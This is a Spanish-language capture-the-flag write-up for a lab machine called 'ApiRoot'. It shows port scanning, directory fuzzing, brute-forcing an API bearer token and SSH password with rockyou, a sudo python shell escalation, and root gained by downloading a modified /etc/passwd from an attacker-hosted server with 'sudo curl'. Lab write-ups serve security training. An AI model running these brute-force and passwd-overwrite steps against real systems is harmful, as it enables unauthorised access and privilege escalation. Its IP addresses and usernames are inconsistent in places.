ApiRoot 🔓

🚨 En este write-up, exploraremos un caso práctico en el que una API vulnerable permite descubrir un token de autenticación

🔍 **Acompáñame en este análisis para entender cómo los errores más simples

Herramientas implementadas:
nmap
gobuster
ffuf
patator
curl

Veamos que obtenemos con el siguiente escaneo de puertos y servicios:

sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oN apiroot 172.18.0.2
Nos encontramos con 2 resultados0: Puerto 22 y 5000.
En el 5000 hay una web que nos habla de API's http://172.17.0.2:5000/
    GET /api/directorio_oculto - Obtener todos los usuarios
    GET /api/directorio_oculto/<id> - Obtener un usuario por ID
    POST /api/directorio_oculto - Agregar un nuevo usuario
    DELETE /api/directorio_oculto/<id> - Eliminar un usuario

Nada interesante en si. pero en la pagina veremos que cada ejemplo de API, GET O POST y así, tienen como comienzo "/api"

Lo de directorio_oculto me lleva a realizar un ffuf de directorios, a ver que podiamos encontrarnos..

gobuster dir -u http://172.17.0.2:5000/api -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
/users

Ahora que tenemos el directorio desconocido seguimos leyendo la web y nos muestra la forma es la que hariamos la peticion pero nos falta un dato el bearer token para ello lanza ffuf con el rockyou.txt

ffuf -c -w /usr/share/wordlists/rockyou.txt -H "Authorization: Bearer FUZZ" -u "http://172.17.0.2:5000/api/users" -fc 401 -fl 31

-c: Activa la visualización en color para facilitar la lectura. H "Authorization: Bearer FUZZ": Prueba diferentes valores reemplazando FUZZen la cabeceraAuthorization: Bearer . -u "http://172.17.0.2:5000/api/users": URL del endpoint donde intentamos autenticarnos. -fc 401: Filtra respuestas con código HTTP 401 Unauthorized, ya que estos indican que el token es incorrecto. -fl 31: Filtra respuestas con 31 líneas, para evitar falsos positivos y enfocarnos en respuestas diferentes.

Con la API Key en nuestro poder, podriamos realizar varias acciones dependiendo de los permisos y la funcionalidad de la API. En este caso específico, podido listar los usuarios existentes.

Recordando el escaneo inicial de puertos, donde nos encontramos con el puerto 22 abierto. A realizar fuerza bruta al servicio SSH, con patator:

patator ssh_login host=10.129.233.210 user=john password=FILE0 0=/usr/share/wordlists/rockyou.txt -x ignore:mesg='Authentication failed.'

ssh bob@172.17.0.2

Con sudo -l muestramos qué comandos puede ejecutar el usuario actual con privilegios elevados para identificar posibles vectores de escalada de privilegios.

sudo -u balulero /usr/bin/python3
	import pty;
	pty.spawn("/bin/bash");

Asi logramos acceder al usuario: balulero

Volvemos a ejecutar el "sudo -l" para ver si tenemos alguna posibilidad de escalar privilegios

Nos dirigimos a GTFobins:

Copiamos el archivo de passwd desde la carpeta victima y en nuestra terminal le sacamos la "x" entonces ahora vamos a pasar desde nuestra maquina a la victima el archivo modificado desde un servidor como nos indica lo de GTFOBINS.

Maquina ATK: Modificamos el archivo, borramos la x de root y guardamos:

Levantamos el servidor en la maquina donde esta el archivo modificado:

 python3 -m http.server 8000

En la terminal donde tenemos el ssh:

URL=http://172.17.0.1:8000/passwd
LFILE=/etc/passwd
sudo curl $URL -o $LFILE
HABEMUS ROOT !! 

Última actualización